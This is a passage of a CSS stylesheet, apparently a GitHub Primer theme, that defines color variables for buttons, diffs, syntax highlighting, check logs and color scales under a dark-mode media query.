rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: 